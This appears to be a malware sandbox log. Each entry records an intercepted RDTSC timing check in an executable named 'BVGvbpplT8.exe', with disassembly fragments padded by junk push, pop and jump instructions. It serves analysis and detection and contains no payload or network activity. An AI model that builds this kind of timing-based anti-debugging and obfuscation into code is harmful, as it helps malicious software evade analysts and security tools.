Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1157100 second address: 115710C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115710C second address: 1157110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1155E51 second address: 1155E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1155E56 second address: 1155E82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FAAF9128026h 0x00000009 jns 00007FAAF9128026h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push edi 0x00000013 jmp 00007FAAF9128031h 0x00000018 pop edi 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1155E82 second address: 1155E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1155FCA second address: 1155FDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF912802Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1155FDD second address: 1155FEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAAF8FC508Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1155FEE second address: 1155FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1155B06 second address: 1155B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 push edx 0x00000008 jmp 00007FAAF8FC508Ah 0x0000000d pop edx 0x0000000e pop edi 0x0000000f jc 00007FAAF8FC509Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1156B2E second address: 1156B34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1156B34 second address: 1156B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1159D5B second address: 1159D6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF912802Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1159D6A second address: 1159D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1159D70 second address: 1159D7A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAAF912802Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1159D7A second address: 1159D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jno 00007FAAF8FC5086h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1159D88 second address: 1159D8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E169 second address: 115E172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E172 second address: 115E176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E176 second address: 115E187 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1121C39 second address: 1121C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1121C40 second address: 1121C88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC5090h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D23F0h], edx 0x00000012 lea eax, dword ptr [ebp+1248DA19h] 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007FAAF8FC5088h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push esi 0x00000038 pop esi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1121C88 second address: 1121C8E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1121C8E second address: 10FDF33 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAAF8FC5094h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FAAF8FC5088h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 jmp 00007FAAF8FC5095h 0x0000002c sbb edi, 3B2FE62Ch 0x00000032 call dword ptr [ebp+122D17C2h] 0x00000038 jo 00007FAAF8FC509Ch 0x0000003e push esi 0x0000003f jmp 00007FAAF8FC5092h 0x00000044 pushad 0x00000045 popad 0x00000046 pop esi 0x00000047 push eax 0x00000048 pushad 0x00000049 jmp 00007FAAF8FC5094h 0x0000004e pushad 0x0000004f popad 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1121EA1 second address: 1121EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 112210A second address: 1122110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1122333 second address: 112235F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jo 00007FAAF9128038h 0x00000012 jc 00007FAAF912802Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11223BD second address: 11223E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FAAF8FC5086h 0x00000009 jmp 00007FAAF8FC508Eh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jg 00007FAAF8FC5094h 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11223E2 second address: 1122413 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAAF9128026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b jmp 00007FAAF9128039h 0x00000010 nop 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jns 00007FAAF9128026h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1122539 second address: 112253F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 112253F second address: 1122544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1122544 second address: 1122552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1122552 second address: 1122556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1122556 second address: 112256D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FAAF8FC5088h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push ecx 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 112256D second address: 112259F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jmp 00007FAAF912802Dh 0x0000000e pushad 0x0000000f jmp 00007FAAF912802Ah 0x00000014 jg 00007FAAF9128026h 0x0000001a popad 0x0000001b popad 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 112259F second address: 11225AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FAAF8FC5086h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1122671 second address: 1122699 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FAAF9128033h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jnl 00007FAAF9128028h 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1122E73 second address: 1122E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1122788 second address: 112281B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnp 00007FAAF912802Eh 0x0000000d jng 00007FAAF9128028h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FAAF9128028h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov dword ptr [ebp+1247ACBCh], ebx 0x00000034 push 00000004h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007FAAF9128028h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 adc dl, FFFFFFCAh 0x00000053 nop 0x00000054 jmp 00007FAAF9128038h 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FAAF912802Dh 0x00000061 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1122FCD second address: 1122FD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E484 second address: 115E48A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E48A second address: 115E48E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E48E second address: 115E4A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF9128032h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E4A6 second address: 115E4CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FAAF8FC5099h 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FAAF8FC5086h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E649 second address: 115E667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FAAF9128039h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E92D second address: 115E939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jo 00007FAAF8FC5086h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E939 second address: 115E93D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E93D second address: 115E949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E949 second address: 115E94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115E94D second address: 115E951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 115EAA6 second address: 115EAAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11638B2 second address: 11638C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAAF8FC508Dh 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1163BD2 second address: 1163C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FAAF912802Ch 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FAAF9128033h 0x00000013 jmp 00007FAAF9128031h 0x00000018 popad 0x00000019 push ebx 0x0000001a push edx 0x0000001b pop edx 0x0000001c jo 00007FAAF9128026h 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1163C16 second address: 1163C21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FAAF8FC5086h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1163D7C second address: 1163D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1163D82 second address: 1163D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FAAF8FC5086h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1163EFC second address: 1163F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1163F00 second address: 1163F0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FAAF8FC5086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1163F0A second address: 1163F0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11645DA second address: 11645EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF8FC508Ah 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11645EC second address: 11645F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11645F2 second address: 1164628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF8FC5098h 0x00000009 jmp 00007FAAF8FC5095h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1164628 second address: 116462C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 116462C second address: 1164632 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1164632 second address: 1164645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007FAAF9128028h 0x0000000e push edi 0x0000000f pop edi 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1164D1D second address: 1164D45 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FAAF8FC509Fh 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11635B6 second address: 1163608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FAAF9128035h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FAAF9128037h 0x00000016 popad 0x00000017 jnp 00007FAAF912802Ch 0x0000001d ja 00007FAAF9128026h 0x00000023 jbe 00007FAAF912802Ah 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 116B336 second address: 116B34E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Ah 0x00000007 jng 00007FAAF8FC5086h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 116B34E second address: 116B354 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1173ED2 second address: 1173ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1173ED6 second address: 1173EE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007FAAF9128026h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1122A47 second address: 1122A58 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 117450F second address: 1174538 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FAAF9128033h 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FAAF912802Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 117505C second address: 1175075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 jc 00007FAAF8FC5092h 0x0000000d jbe 00007FAAF8FC5086h 0x00000013 jnl 00007FAAF8FC5086h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11795E4 second address: 11795F4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAAF9128026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 117CF58 second address: 117CF7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAAF8FC5096h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FAAF8FC5086h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 117CF7C second address: 117CF80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 117CF80 second address: 117CF86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 117C8A2 second address: 117C8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 117CA1A second address: 117CA38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FAAF8FC5095h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1182CCA second address: 1182CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1182FE9 second address: 1182FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAAF8FC5086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1182FF3 second address: 1183001 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAAF9128026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1183001 second address: 1183005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11832D4 second address: 11832DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11835AA second address: 11835AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11835AE second address: 11835C7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FAAF9128030h 0x0000000e rdtsc
